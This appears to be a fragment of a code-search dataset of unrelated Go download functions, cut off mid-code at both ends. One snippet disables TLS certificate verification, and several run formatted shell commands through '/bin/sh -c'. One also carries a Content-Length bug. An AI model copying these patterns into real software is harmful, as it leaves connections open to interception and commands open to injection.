{\r\n\t\tfmt.Printf(\"Download files from a folder '%s'.\\n\", fileList.SearchedFolder.Name)\r\n\t\tfmt.Printf(\"There are %d files and %d folders in the folder.\\n\", fileList.TotalNumberOfFiles, fileList.TotalNumberOfFolders-1)\r\n\t\tfmt.Println(\"Starting download.\")\r\n\t}\r\n\tidToName := map[string]interface{}{}\r\n\tfor i, e := range fileList.FolderTree.Folders {\r\n\t\tidToName[e] = fileList.FolderTree.Names[i]\r\n\t}\r\n\tfor _, e := range fileList.FileList {\r\n\t\tpath := p.Workdir\r\n\t\tfor _, dir := range e.FolderTree {\r\n\t\t\tpath = filepath.Join(path, idToName[dir].(string))\r\n\t\t}\r\n\t\terr = p.makeDirByCondition(path)\r\n\t\tif err != nil {\r\n\t\t\treturn err\r\n\t\t}\r\n\t\tfor _, file := range e.Files {\r\n\t\t\tfile.Path = path\r\n\t\t\tsize, _ := strconv.ParseInt(file.Size, 10, 64)\r\n\t\t\tp.Size = size\r\n\t\t\terr = p.makeFileByCondition(file)\r\n\t\t\tif err != nil {\r\n\t\t\t\treturn err\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tp.Msgar = append(p.Msgar, fmt.Sprintf(\"There were %d files and %d folders in the folder.\", fileList.TotalNumberOfFiles, fileList.TotalNumberOfFolders-1))\r\n\treturn nil\r\n}", "func downloadContent(wg *sync.WaitGroup, linkTo string) {\n\tdefer wg.Done()\n\n\tsetDownloadFolder()\n\n\tresp, err := http.Get(linkTo)\n\tfmt.Println(\"Downloading... Please wait!\")\n\tcolor.Green(resp.Status)\n\tdefer resp.Body.Close()\n\n\tif err != nil {\n\t\tlog.Fatal(\"Trouble making GET request!\")\n\t}\n\n\tcontents, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tlog.Fatal(\"Trouble reading response body!\")\n\t}\n\n\tfilename := path.Base(linkTo)\n\tif filename == \"\" {\n\t\tlog.Fatalf(\"Trouble deriving file name for %s\", linkTo)\n\t}\n\n\terr = ioutil.WriteFile(filename, contents, 0644)\n\tif err != nil {\n\t\tlog.Fatal(\"Trouble creating file! -- \", err)\n\t}\n}", "func Download() error {\n\tfor i := 2008; i < time.Now().Year(); i++ {\n\t\terr := DownloadYear(i)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\terr := DownloadFile(\"/pub/data/noaa/isd-history.csv\", \"data/isd-history.csv\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = DownloadFile(\"/pub/data/noaa/isd-inventory.csv.z\", \"data/isd-history.csv.z\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func downloadFiles(files *[]synth.File) {\n\tvar wg sync.WaitGroup\n\twg.Add(len(*files))\n\n\tfmt.Println()\n\tfor _, file := range *files {\n\t\tparams := make(map[string]string)\n\t\tparams[\"file\"] = file.Path\n\n\t\tconn := contact.NewConnection(bufferSize)\n\t\tconn.Dial(serverHost, \"/download\", params)\n\n\t\tgo saveFile(conn, file.Path, &wg)\n\t}\n\n\twg.Wait()\n\tfmt.Println()\n}", "func downloadFiles(ctx *log.Context, dir string, cfg handlerSettings) error {\n\t// - prepare the output directory for files and the command output\n\t// - create the directory if missing\n\tctx.Log(\"event\", \"creating output directory\", \"path\", dir)\n\tif err := os.MkdirAll(dir, 0700); err != nil {\n\t\treturn errors.Wrap(err, \"failed to prepare output directory\")\n\t}\n\tctx.Log(\"event\", \"created output directory\")\n\n\t// - download files\n\tctx.Log(\"files\", len(cfg.FileURLs))\n\tfor i, f := range cfg.FileURLs {\n\t\tctx := ctx.With(\"file\", i)\n\t\tctx.Log(\"event\", \"download start\")\n\t\tif err := downloadAndProcessURL(ctx, f, dir, cfg.StorageAccountName, cfg.StorageAccountKey); err != nil {\n\t\t\tctx.Log(\"event\", \"download failed\", \"error\", err)\n\t\t\treturn errors.Wrapf(err, \"failed to download file[%d]\", i)\n\t\t}\n\t\tctx.Log(\"event\", \"download complete\", \"output\", dir)\n\t}\n\treturn nil\n}", "func Download(bash BashExec, c suitetalk.HTTPClient, paths []string, dest string) (downloads []FileTransfer, err error) {\n\tdest = lib.AbsolutePath(dest)\n\tvar dirs []FileTransfer\n\tfor _, p := range paths {\n\t\tif !strings.HasPrefix(p, \"/\") {\n\t\t\treturn nil, errors.New(\"source paths have to be absolute\")\n\t\t}\n\t\titem, err := suitetalk.GetPath(c, p)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif item.IsDir {\n\t\t\tvar dls []FileTransfer\n\t\t\tdls, dirs = getDirDownloads(c, p, dest)\n\t\t\tdownloads = append(downloads, dls...)\n\t\t} else {\n\t\t\tdownloads = append(downloads, FileTransfer{Path: filepath.Base(p), Src: p, Dest: dest})\n\t\t}\n\t}\n\tif len(downloads) > 0 {\n\t\tprocessDownloads(bash, downloads, dirs)\n\t}\n\treturn downloads, nil\n}", "func (gc *recursiveGetContents) download(ctx context.Context) error {\n\tgc.wg.Add(1)\n\tgc.check(gc.recursive(ctx, gc.path))\n\tgc.wg.Wait()\n\n\tselect {\n\tcase err := <-gc.errors:\n\t\treturn err\n\tdefault:\n\t\treturn nil\n\t}\n}", "func (c *Client) Download(path string) ([]byte, error) {\n\tpathUrl, err := url.Parse(fmt.Sprintf(\"files/%s/%s\", c.Username, path))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Create the https request\n\n\t_, content, err := c.sendRequest(\"GET\", c.Url.ResolveReference(pathUrl).String(), nil, nil, nil)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn content, nil\n}", "func downloadFiles() {\n\tfor listName, value := range csvs.m {\n\n\t\tfile := listName + \".csv\"\n\n\t\tfilePath := downloadDirectory + file\n\n\t\tlogger.Info(\"Downloading \" + file)\n\n\t\tresults := downloadFile(filePath, value)\n\n\t\tif results != nil {\n\t\t\tlogger.Error(results.Error())\n\t\t} else {\n\t\t\tlogger.Info(\"Download \" + file + \" complete\")\n\t\t}\n\t}\n}", "func Download(repoURL, commitHash, folder string, verbose bool) error {\n\tif strings.HasSuffix(repoURL, \".git\") {\n\t\treturn withGit(repoURL, commitHash, folder, verbose)\n\t}\n\n\tif strings.HasPrefix(repoURL, \"http\") {\n\t\tsource := handleGitHub(repoURL, commitHash)\n\t\tsrcURL, err := url.Parse(source)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"invalid repository URL\")\n\t\t}\n\t\tfilename := path.Base(srcURL.Path)\n\t\tdestination := path.Join(folder, filename)\n\t\terr = withHTTP(handleGitHub(repoURL, commitHash), destination)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// expand (for now we will assume everything is zip file)\n\t\treturn expand(folder, filename)\n\t}\n\n\treturn fmt.Errorf(\"unsupported repository scheme %s (should either end in '.git' or be HTTP/S URL)\", repoURL)\n}", "func (a *App) DownloadFiles() *TransferRecord {\n\tdownloadRecord := NewDownloadRecord()\n\ta.downloadRecords.Append(downloadRecord)\n\n\tdownloadRunningMutex.Lock()\n\tshouldRun := !downloadRunning && a.fileUseable(a.InputPathList)\n\tdownloadRunningMutex.Unlock()\n\n\tif shouldRun {\n\t\tlog.Info(\"starting download goroutine\")\n\n\t\ta.downloadWait.Add(1)\n\n\t\tgo func() {\n\t\t\tlog.Info(\"running download goroutine\")\n\n\t\t\tvar (\n\t\t\t\tdownloadLogStderrFile *os.File\n\t\t\t\tdownloadLogStdoutFile *os.File\n\t\t\t\tdownloadLogStderrPath string\n\t\t\t\tdownloadLogStdoutPath string\n\t\t\t\terr error\n\t\t\t)\n\n\t\t\tdownloadRunningMutex.Lock()\n\t\t\tdownloadRunning = true\n\t\t\tdownloadRunningMutex.Unlock()\n\n\t\t\tdownloadRecord.SetStatus(DownloadingStatus)\n\n\t\t\tdefer func() {\n\t\t\t\tdownloadRecord.SetCompletionTime()\n\n\t\t\t\tdownloadRunningMutex.Lock()\n\t\t\t\tdownloadRunning = false\n\t\t\t\tdownloadRunningMutex.Unlock()\n\n\t\t\t\ta.downloadWait.Done()\n\t\t\t}()\n\n\t\t\tdownloadLogStdoutPath = path.Join(a.LogDirectory, \"downloads.stdout.log\")\n\t\t\tdownloadLogStdoutFile, err = os.Create(downloadLogStdoutPath)\n\t\t\tif err != nil {\n\t\t\t\tlog.Error(errors.Wrapf(err, \"failed to open file %s\", downloadLogStdoutPath))\n\t\t\t\tdownloadRecord.SetStatus(FailedStatus)\n\t\t\t\treturn\n\n\t\t\t}\n\n\t\t\tdownloadLogStderrPath = path.Join(a.LogDirectory, \"downloads.stderr.log\")\n\t\t\tdownloadLogStderrFile, err = os.Create(downloadLogStderrPath)\n\t\t\tif err != nil {\n\t\t\t\tlog.Error(errors.Wrapf(err, \"failed to open file %s\", downloadLogStderrPath))\n\t\t\t\tdownloadRecord.SetStatus(FailedStatus)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tparts := a.downloadCommand()\n\t\t\tcmd := exec.Command(parts[0], parts[1:]...)\n\t\t\tcmd.Stdout = downloadLogStdoutFile\n\t\t\tcmd.Stderr = downloadLogStderrFile\n\n\t\t\tif err = cmd.Run(); err != nil {\n\t\t\t\tlog.Error(errors.Wrap(err, \"error running porklock for downloads\"))\n\t\t\t\tdownloadRecord.SetStatus(FailedStatus)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tdownloadRecord.SetStatus(CompletedStatus)\n\n\t\t\tlog.Info(\"exiting download goroutine without errors\")\n\t\t}()\n\t}\n\n\treturn downloadRecord\n}", "func Download(dir string, timeout time.Duration, skip, restart bool, parallel int, retries uint, chunkSize int64) error {\n\tlog.Output(1, \"Downloading file(s) from the National Treasure…\")\n\tif err := downloadNationalTreasure(dir, skip); err != nil {\n\t\treturn fmt.Errorf(\"error downloading files from the national treasure: %w\", err)\n\t}\n\tlog.Output(1, \"Downloading files from the Federal Revenue…\")\n\turls, err := getURLs(federalRevenueURL, federalRevenueGetURLs, dir, skip)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error gathering resources for download: %w\", err)\n\t}\n\tif len(urls) == 0 {\n\t\treturn nil\n\t}\n\tif err := download(dir, urls, parallel, retries, chunkSize, timeout, restart); err != nil {\n\t\treturn fmt.Errorf(\"error downloading files from the federal revenue: %w\", err)\n\t}\n\treturn nil\n}", "func Download(params model.RepoParams) (*os.File, error) {\n\tresp, err := http.Get(params.GHURL)\n\tif resp != nil {\n\t\tdefer resp.Body.Close()\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif resp.StatusCode != http.StatusOK {\n\t\tb, _ := ioutil.ReadAll(resp.Body)\n\t\treturn nil, fmt.Errorf(\"%d %s\", resp.StatusCode, string(b))\n\t}\n\n\tb, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tf, err := os.Create(params.TempArchive)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tf.Write(b)\n\treturn f, nil\n}", "func (c *Client) Downloads() (downloads []*Download, err error) {\n\tdefer essentials.AddCtxTo(\"get downloads\", &err)\n\tbody, err := c.Call(\"d.multicall2\", \"\", \"main\", \"d.hash=\", \"d.directory=\",\n\t\t\"d.base_path=\", \"d.base_filename=\", \"d.completed_bytes=\", \"d.size_bytes=\",\n\t\t\"d.name=\", \"d.up.rate=\", \"d.down.rate=\", \"d.up.total=\", \"d.down.total=\",\n\t\t\"d.state=\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar resp methodResponse\n\tif err := xml.Unmarshal(body, &resp); err != nil {\n\t\treturn nil, err\n\t}\n\tfor _, download := range resp.Downloads {\n\t\tif len(download.Values) != 12 {\n\t\t\treturn nil, errors.New(\"unexpected number of values\")\n\t\t}\n\t\tdownloads = append(downloads, &Download{\n\t\t\tHash: download.Values[0].String,\n\t\t\tDirectory: download.Values[1].String,\n\t\t\tBasePath: download.Values[2].String,\n\t\t\tBaseFilename: download.Values[3].String,\n\t\t\tCompletedBytes: download.Values[4].Int,\n\t\t\tSizeBytes: download.Values[5].Int,\n\t\t\tName: download.Values[6].String,\n\t\t\tUploadRate: download.Values[7].Int,\n\t\t\tDownloadRate: download.Values[8].Int,\n\t\t\tUploadTotal: download.Values[9].Int,\n\t\t\tDownloadTotal: download.Values[10].Int,\n\t\t\tState: int(download.Values[11].Int),\n\t\t})\n\t}\n\treturn downloads, nil\n}", "func Download(id int, userAgent string, dir string, wainting <-chan *url.URL, processed chan<- *url.URL) {\n\n\tlog.Printf(\"Download Worker-[%v] entering loop\", id)\n\n\tvar i *url.URL\n\tvar open bool\n\tvar httpClient = utils.NewHttpClient(userAgent)\n\n\tfor {\n\t\tselect {\n\t\tcase i, open = <-wainting:\n\n\t\t\tif open {\n\n\t\t\t\t//TODO: get data dir as a param from user running program\n\t\t\t\tfilePath := path.Join(dir, i.Path)\n\n\t\t\t\terr := httpClient.Download(i.String(), filePath)\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Println(err)\n\t\t\t\t}\n\n\t\t\t\t//TODO: add to failure list/queue\n\t\t\t\tprocessed <- i\n\n\t\t\t} else {\n\n\t\t\t\tlog.Printf(\"Download Worker-[%v] is exiting\", id)\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\ttime.Sleep(500 * time.Millisecond)\n\t\t}\n\t}\n}", "func download(w http.ResponseWriter, r *http.Request) {\r\n\t// downloaddata := []string{\"test.zip\", \"test.txt.tar.gz\"}\r\n\tdata := map[string]string{}\r\n\turldata := urlAnalysis(r.URL.Path)\r\n\tvar filepass string\r\n\tfmt.Println(urldata)\r\n\tdata[\"type\"] = urldata[1]\r\n\tdata[\"id\"] = urldata[2]\r\n\r\n\tfilelist_t.ReadId(data[\"id\"])\r\n\tif filelist_t.Tmp.Id == 0 {\r\n\t\tLogout.Out(1, \"download err URL:%v\\n\", r.URL.Path)\r\n\t\tfmt.Fprintf(w, \"%s\", \"download err\")\r\n\t\treturn\r\n\t}\r\n\r\n\t//ダウンロードパス\r\n\tif data[\"type\"] == \"zip\" {\r\n\t\tfilepass = ServersetUp.Zippath + filelist_t.Tmp.Zippass\r\n\t} else if data[\"type\"] == \"pdf\" {\r\n\t\tfilepass = ServersetUp.Pdfpath + filelist_t.Tmp.Pdfpass\r\n\t} else {\r\n\t\tLogout.Out(1, \"download err URL:%v\\n\", r.URL.Path)\r\n\t\tfmt.Fprintf(w, \"%s\", \"download err\")\r\n\t\treturn\r\n\t}\r\n\tfile, err1 := os.Open(filepass)\r\n\r\n\tif err1 != nil {\r\n\t\tfmt.Println(err1)\r\n\t}\r\n\r\n\tdefer file.Close()\r\n\tbuf := make([]byte, 1024)\r\n\tvar buffer []byte\r\n\tfor {\r\n\t\tn, err := file.Read(buf)\r\n\t\tif n == 0 {\r\n\t\t\tbreak\r\n\t\t}\r\n\t\tif err != nil {\r\n\t\t\t// Readエラー処理\r\n\t\t\tbreak\r\n\t\t}\r\n\t\tbuffer = append(buffer, buf[:n]...)\r\n\t}\r\n\tLogout.Out(1, \"download URL:%v,Name:%v\\n\", r.URL.Path, filelist_t.Tmp.Name)\r\n\tif data[\"type\"] == \"zip\" {\r\n\t\t// ファイル名\r\n\t\tw.Header().Set(\"Content-Disposition\", \"attachment; filename=\"+filelist_t.Tmp.Zippass)\r\n\t\t// コンテントタイプ\r\n\t\tw.Header().Set(\"Content-Type\", \"application/zip\")\r\n\t} else if data[\"type\"] == \"pdf\" {\r\n\t\t// ファイル名\r\n\t\tw.Header().Set(\"Content-Disposition\", \"attachment; filename=\"+filelist_t.Tmp.Pdfpass)\r\n\t\t// コンテントタイプ\r\n\t\tw.Header().Set(\"Content-Type\", \"application/pdf\")\r\n\t}\r\n\t// ファイルの長さ\r\n\tw.Header().Set(\"Content-Length\", string(len(buffer)))\r\n\t// bodyに書き込み\r\n\tw.Write(buffer)\r\n}", "func (f *FFmpeg_Generator) DownloadFiles() {\n\tvar wg sync.WaitGroup\n\n\t// add extra to wait group if has external audio (because it will download audio as external file from url)\n\tif f.Recipe.ExternalAudio {\n\t\twg.Add(len(f.Recipe.Chunks) + 1)\n\n\t} else {\n\t\twg.Add(len(f.Recipe.Chunks))\n\t}\n\n\tinnerResponseChannel := make(chan *FFmpeg_Message)\n\n\tfor chunkIndex := range f.Recipe.Chunks {\n\t\tgo func(chunkIndex int) {\n\t\t\t// set a uuid as name for chunk (audio or video file)\n\t\t\tif newChunkName, err := uuid.NewV4(); err == nil {\n\t\t\t\tf.Recipe.Chunks[chunkIndex].Name = newChunkName.String()\n\t\t\t} else {\n\t\t\t\tinnerResponseChannel <- &FFmpeg_Message{\n\t\t\t\t\tStatus: false,\n\t\t\t\t\tMessage: \"internal error\",\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tstatus, statusCode := filemanager.DownloadFile(\n\t\t\t\t&wg,\n\t\t\t\tf.Recipe.Chunks[chunkIndex].Url,\n\t\t\t\tf.Dir+f.Recipe.Chunks[chunkIndex].Name)\n\t\t\tinnerResponseChannel <- &FFmpeg_Message{\n\t\t\t\tStatus: status,\n\t\t\t\tMessage: \"url responded withCode\" + statusCode,\n\t\t\t}\n\t\t}(chunkIndex)\n\n\t}\n\t// download audio if exists\n\tif f.Recipe.ExternalAudio {\n\t\tgo func() {\n\t\t\taudioName, _ := uuid.NewV4()\n\t\t\tfilemanager.DownloadFile(\n\t\t\t\t&wg,\n\t\t\t\tf.Recipe.Audio,\n\t\t\t\tf.Dir+audioName.String())\n\t\t\tf.Recipe.Audio = audioName.String()\n\t\t}()\n\n\t}\n\twg.Wait()\n\n\tisAllDownloaded := true\n\tcount := 0\n\tfor responseFromInnerChannel := range innerResponseChannel {\n\t\tisAllDownloaded = isAllDownloaded && responseFromInnerChannel.Status\n\t\tlog.Println(\"Downloaded to : \" + f.Dir + f.Recipe.Chunks[count].Name)\n\t\tcount++\n\t\tif count == len(f.Recipe.Chunks) {\n\t\t\tclose(innerResponseChannel)\n\t\t}\n\t}\n\n\tif !isAllDownloaded {\n\t\tf.Error.Status = false\n\t\tf.Error.Message = \"error while downloading files\"\n\t}\n}", "func Download(ctx context.Context, dst string, urls []string) error {\n\topts := []getter.ClientOption{}\n\tfor _, url := range urls {\n\t\tlog.G(ctx).Debugf(\"Initializing go-getter client with url %v and dst %v\", url, dst)\n\t\tclient := &getter.Client{\n\t\t\tCtx: ctx,\n\t\t\tSrc: url,\n\t\t\tDst: dst,\n\t\t\tPwd: dst,\n\t\t\tMode: getter.ClientModeAny,\n\t\t\tDetectors: detectors,\n\t\t\tGetters: getters,\n\t\t\tOptions: opts,\n\t\t}\n\n\t\tif err := client.Get(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "func (d downloader) download() {\t\n\tclient := &http.Client {}\n\treq, err := http.NewRequest(\"GET\", d.url, nil)\n\tif err != nil {\n\t\td.err <- err\t\t// signall main process this goroutine has encountered an error\n\t\treturn\n\t}\n\trange_header := \"bytes=\" + strconv.Itoa(d.start) + \"-\" + strconv.Itoa(d.end-1) // bytes to grab\n\treq.Header.Add(\"Range\", range_header) // adding byte request to http request1\n\t\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\td.err <- err\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\t\n\terr = d.writeOut(resp.Body)\t\t// function writing to file\n\tif err != nil {\n\t\td.err <- err\n\t\treturn\n\t}\n\td.done <- (d.end-d.start)\t\t// signal main process this goroutine is done\n}", "func (f *Fetcher) Download(downloads []DownloadQuery, startIndex int) {\n\tp := pool.NewPool(f.concurrency)\n\tfor _, query := range downloads {\n\t\tpool.Exec(NewDownloadTask(query,\n\t\t\tf.waitTime, 1))\n\t}\n\tp.Close()\n\tp.Wait()\n}", "func (c *Client) Download(ctx context.Context, baseDir string, progress chan downloader.ProgressUpdate, furl string) error {\n\treq, err := grab.NewRequest(baseDir, furl)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tresp := c.client.Do(req)\n\n\t// publish the progress every 1 second\n\tprogressReporter := time.NewTicker(1 * time.Second)\n\n\tdefer progressReporter.Stop()\n\nLOOP:\n\tfor {\n\t\tselect {\n\t\tcase <-progressReporter.C: // progress update due\n\t\t\tprogress <- downloader.ProgressUpdate{\n\t\t\t\tProgress: resp.Progress(),\n\t\t\t\tURL: furl,\n\t\t\t}\n\t\tcase <-ctx.Done(): // program term\n\t\t\tbreak LOOP\n\t\tcase <-resp.Done: // download finished\n\t\t\tbreak LOOP\n\t\t}\n\t}\n\n\tprogress <- downloader.ProgressUpdate{\n\t\tProgress: 100,\n\t\tURL: furl,\n\t}\n\n\t// we're done :tada:\n\treturn nil\n}", "func DownloadContents(\n\tghClient *github.Client,\n\torg,\n\trepo,\n\tfilepath string,\n\topt *github.RepositoryContentGetOptions) (io.ReadCloser, error) {\n\n\trc, err := ghClient.Repositories.DownloadContents(org, repo, filepath, opt)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn rc, nil\n}", "func (info *FileInfo) Download(output, username, password string) error {\n\n\tlog.Debug().Msgf(\"%v\", info)\n\n\toutputFile := info.GetOutput(output)\n\n\ttr := &http.Transport{\n\t\tTLSClientConfig: &tls.Config{\n\t\t\tInsecureSkipVerify: true},\n\t\tResponseHeaderTimeout: timeout,\n\t}\n\n\tif proxy != \"\" {\n\t\tproxyURL, err := url.Parse(proxy)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\ttr = &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t\tProxy: http.ProxyURL(proxyURL),\n\t\t\tResponseHeaderTimeout: timeout,\n\t\t}\n\t}\n\n\t// custom the request form\n\tform := url.Values{}\n\tform.Add(\"Range\", fmt.Sprintf(\"bytes=0-\"))\n\tform.Add(\"hasAnnotation\", \"false\")\n\tform.Add(\"includeAnnotation\", \"true\")\n\tform.Add(\"seriesUid\", info.SeriesUID)\n\tform.Add(\"sopUids\", \"\")\n\n\tif username != \"\" && password != \"\" {\n\t\tform.Add(\"userId\", username)\n\t\tform.Add(\"password\", password)\n\t}\n\n\treq, err := http.NewRequest(\"POST\", baseURL, strings.NewReader(form.Encode()))\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"failed to download while POST\")\n\t}\n\t// custom the request header\n\treq.Header.Add(\"password\", \"\")\n\treq.Header.Add(\"Content-Type\", \"application/x-www-form-urlencoded; charset=ISO-8859-1\")\n\treq.Header.Add(\"Connection\", \"Keep-Alive\")\n\n\tlog.Info().Msgf(\"Download %s to %s\", info.SeriesUID, outputFile)\n\n\tclient := &http.Client{Transport: tr, Timeout: timeout}\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn UnTar(outputFile, resp.Body)\n}", "func FilesDownloadHTTP(mgr *manager.Manager, filepath, version, arch string) error {\n\tkkzone := os.Getenv(\"KKZONE\")\n\tetcd := files.KubeBinary{Name: \"etcd\", Arch: arch, Version: kubekeyapiv1alpha1.DefaultEtcdVersion}\n\tkubeadm := files.KubeBinary{Name: \"kubeadm\", Arch: arch, Version: version}\n\tkubelet := files.KubeBinary{Name: \"kubelet\", Arch: arch, Version: version}\n\tkubectl := files.KubeBinary{Name: \"kubectl\", Arch: arch, Version: version}\n\tkubecni := files.KubeBinary{Name: \"kubecni\", Arch: arch, Version: kubekeyapiv1alpha1.DefaultCniVersion}\n\thelm := files.KubeBinary{Name: \"helm\", Arch: arch, Version: kubekeyapiv1alpha1.DefaultHelmVersion}\n\n\tetcd.Path = fmt.Sprintf(\"%s/etcd-%s-linux-%s.tar.gz\", filepath, kubekeyapiv1alpha1.DefaultEtcdVersion, arch)\n\tkubeadm.Path = fmt.Sprintf(\"%s/kubeadm\", filepath)\n\tkubelet.Path = fmt.Sprintf(\"%s/kubelet\", filepath)\n\tkubectl.Path = fmt.Sprintf(\"%s/kubectl\", filepath)\n\tkubecni.Path = fmt.Sprintf(\"%s/cni-plugins-linux-%s-%s.tgz\", filepath, arch, kubekeyapiv1alpha1.DefaultCniVersion)\n\thelm.Path = fmt.Sprintf(\"%s/helm\", filepath)\n\n\tif kkzone == \"cn\" {\n\t\tetcd.Url = fmt.Sprintf(\"https://kubernetes-release.pek3b.qingstor.com/etcd/release/download/%s/etcd-%s-linux-%s.tar.gz\", etcd.Version, etcd.Version, etcd.Arch)\n\t\tkubeadm.Url = fmt.Sprintf(\"https://kubernetes-release.pek3b.qingstor.com/release/%s/bin/linux/%s/kubeadm\", kubeadm.Version, kubeadm.Arch)\n\t\tkubelet.Url = fmt.Sprintf(\"https://kubernetes-release.pek3b.qingstor.com/release/%s/bin/linux/%s/kubelet\", kubelet.Version, kubelet.Arch)\n\t\tkubectl.Url = fmt.Sprintf(\"https://kubernetes-release.pek3b.qingstor.com/release/%s/bin/linux/%s/kubectl\", kubectl.Version, kubectl.Arch)\n\t\tkubecni.Url = fmt.Sprintf(\"https://containernetworking.pek3b.qingstor.com/plugins/releases/download/%s/cni-plugins-linux-%s-%s.tgz\", kubecni.Version, kubecni.Arch, kubecni.Version)\n\t\thelm.Url = fmt.Sprintf(\"https://kubernetes-helm.pek3b.qingstor.com/linux-%s/%s/helm\", helm.Arch, helm.Version)\n\t\thelm.GetCmd = fmt.Sprintf(\"curl -o %s %s\", helm.Path, helm.Url)\n\t} else {\n\t\tetcd.Url = fmt.Sprintf(\"https://github.com/coreos/etcd/releases/download/%s/etcd-%s-linux-%s.tar.gz\", etcd.Version, etcd.Version, etcd.Arch)\n\t\tkubeadm.Url = fmt.Sprintf(\"https://storage.googleapis.com/kubernetes-release/release/%s/bin/linux/%s/kubeadm\", kubeadm.Version, kubeadm.Arch)\n\t\tkubelet.Url = fmt.Sprintf(\"https://storage.googleapis.com/kubernetes-release/release/%s/bin/linux/%s/kubelet\", kubelet.Version, kubelet.Arch)\n\t\tkubectl.Url = fmt.Sprintf(\"https://storage.googleapis.com/kubernetes-release/release/%s/bin/linux/%s/kubectl\", kubectl.Version, kubectl.Arch)\n\t\tkubecni.Url = fmt.Sprintf(\"https://github.com/containernetworking/plugins/releases/download/%s/cni-plugins-linux-%s-%s.tgz\", kubecni.Version, kubecni.Arch, kubecni.Version)\n\t\thelm.Url = fmt.Sprintf(\"https://get.helm.sh/helm-%s-linux-%s.tar.gz\", helm.Version, helm.Arch)\n\t\thelm.GetCmd = fmt.Sprintf(\"curl -o %s/helm-%s-linux-%s.tar.gz %s && cd %s && tar -zxf helm-%s-linux-%s.tar.gz && mv linux-%s/helm . && rm -rf *linux-%s*\", filepath, helm.Version, helm.Arch, helm.Url, filepath, helm.Version, helm.Arch, helm.Arch, helm.Arch)\n\t}\n\n\tkubeadm.GetCmd = fmt.Sprintf(\"curl -L -o %s %s\", kubeadm.Path, kubeadm.Url)\n\tkubelet.GetCmd = fmt.Sprintf(\"curl -L -o %s %s\", kubelet.Path, kubelet.Url)\n\tkubectl.GetCmd = fmt.Sprintf(\"curl -L -o %s %s\", kubectl.Path, kubectl.Url)\n\tkubecni.GetCmd = fmt.Sprintf(\"curl -L -o %s %s\", kubecni.Path, kubecni.Url)\n\tetcd.GetCmd = fmt.Sprintf(\"curl -L -o %s %s\", etcd.Path, etcd.Url)\n\n\tbinaries := []files.KubeBinary{kubeadm, kubelet, kubectl, helm, kubecni, etcd}\n\n\tfor _, binary := range binaries {\n\t\tif binary.Name == \"etcd\" && mgr.EtcdContainer {\n\t\t\tcontinue\n\t\t}\n\t\tmgr.Logger.Infoln(fmt.Sprintf(\"Downloading %s ...\", binary.Name))\n\t\tif util.IsExist(binary.Path) == false {\n\t\t\tfor i := 5; i > 0; i-- {\n\t\t\t\tif output, err := exec.Command(\"/bin/sh\", \"-c\", binary.GetCmd).CombinedOutput(); err != nil {\n\t\t\t\t\tfmt.Println(string(output))\n\n\t\t\t\t\tif kkzone != \"cn\" {\n\t\t\t\t\t\tmgr.Logger.Warningln(\"Having a problem with accessing https://storage.googleapis.com? You can try again after setting environment 'export KKZONE=cn'\")\n\t\t\t\t\t}\n\t\t\t\t\treturn errors.New(fmt.Sprintf(\"Failed to download %s binary: %s\", binary.Name, binary.GetCmd))\n\t\t\t\t}\n\n\t\t\t\tif err := SHA256Check(binary, version); err != nil {\n\t\t\t\t\tif i == 1 {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\t_ = exec.Command(\"/bin/sh\", \"-c\", fmt.Sprintf(\"rm -f %s\", binary.Path)).Run()\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t} else {\n\t\t\tif err := SHA256Check(binary, version); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\tif mgr.Cluster.KubeSphere.Version == \"v2.1.1\" {\n\t\tmgr.Logger.Infoln(fmt.Sprintf(\"Downloading %s ...\", \"helm2\"))\n\t\tif util.IsExist(fmt.Sprintf(\"%s/helm2\", filepath)) == false {\n\t\t\tcmd := fmt.Sprintf(\"curl -o %s/helm2 %s\", filepath, fmt.Sprintf(\"https://kubernetes-helm.pek3b.qingstor.com/linux-%s/%s/helm\", helm.Arch, \"v2.16.9\"))\n\t\t\tif output, err := exec.Command(\"/bin/sh\", \"-c\", cmd).CombinedOutput(); err != nil {\n\t\t\t\tfmt.Println(string(output))\n\t\t\t\treturn errors.Wrap(err, \"Failed to download helm2 binary\")\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (client *activeClient) Download(c *ishell.Context) {\n\tvar r shared.File\n\targ := strings.Join(c.Args, \" \")\n\n\tc.ProgressBar().Indeterminate(true)\n\tc.ProgressBar().Start()\n\n\terr := client.RPC.Call(\"API.SendFile\", arg, &r)\n\tif err != nil 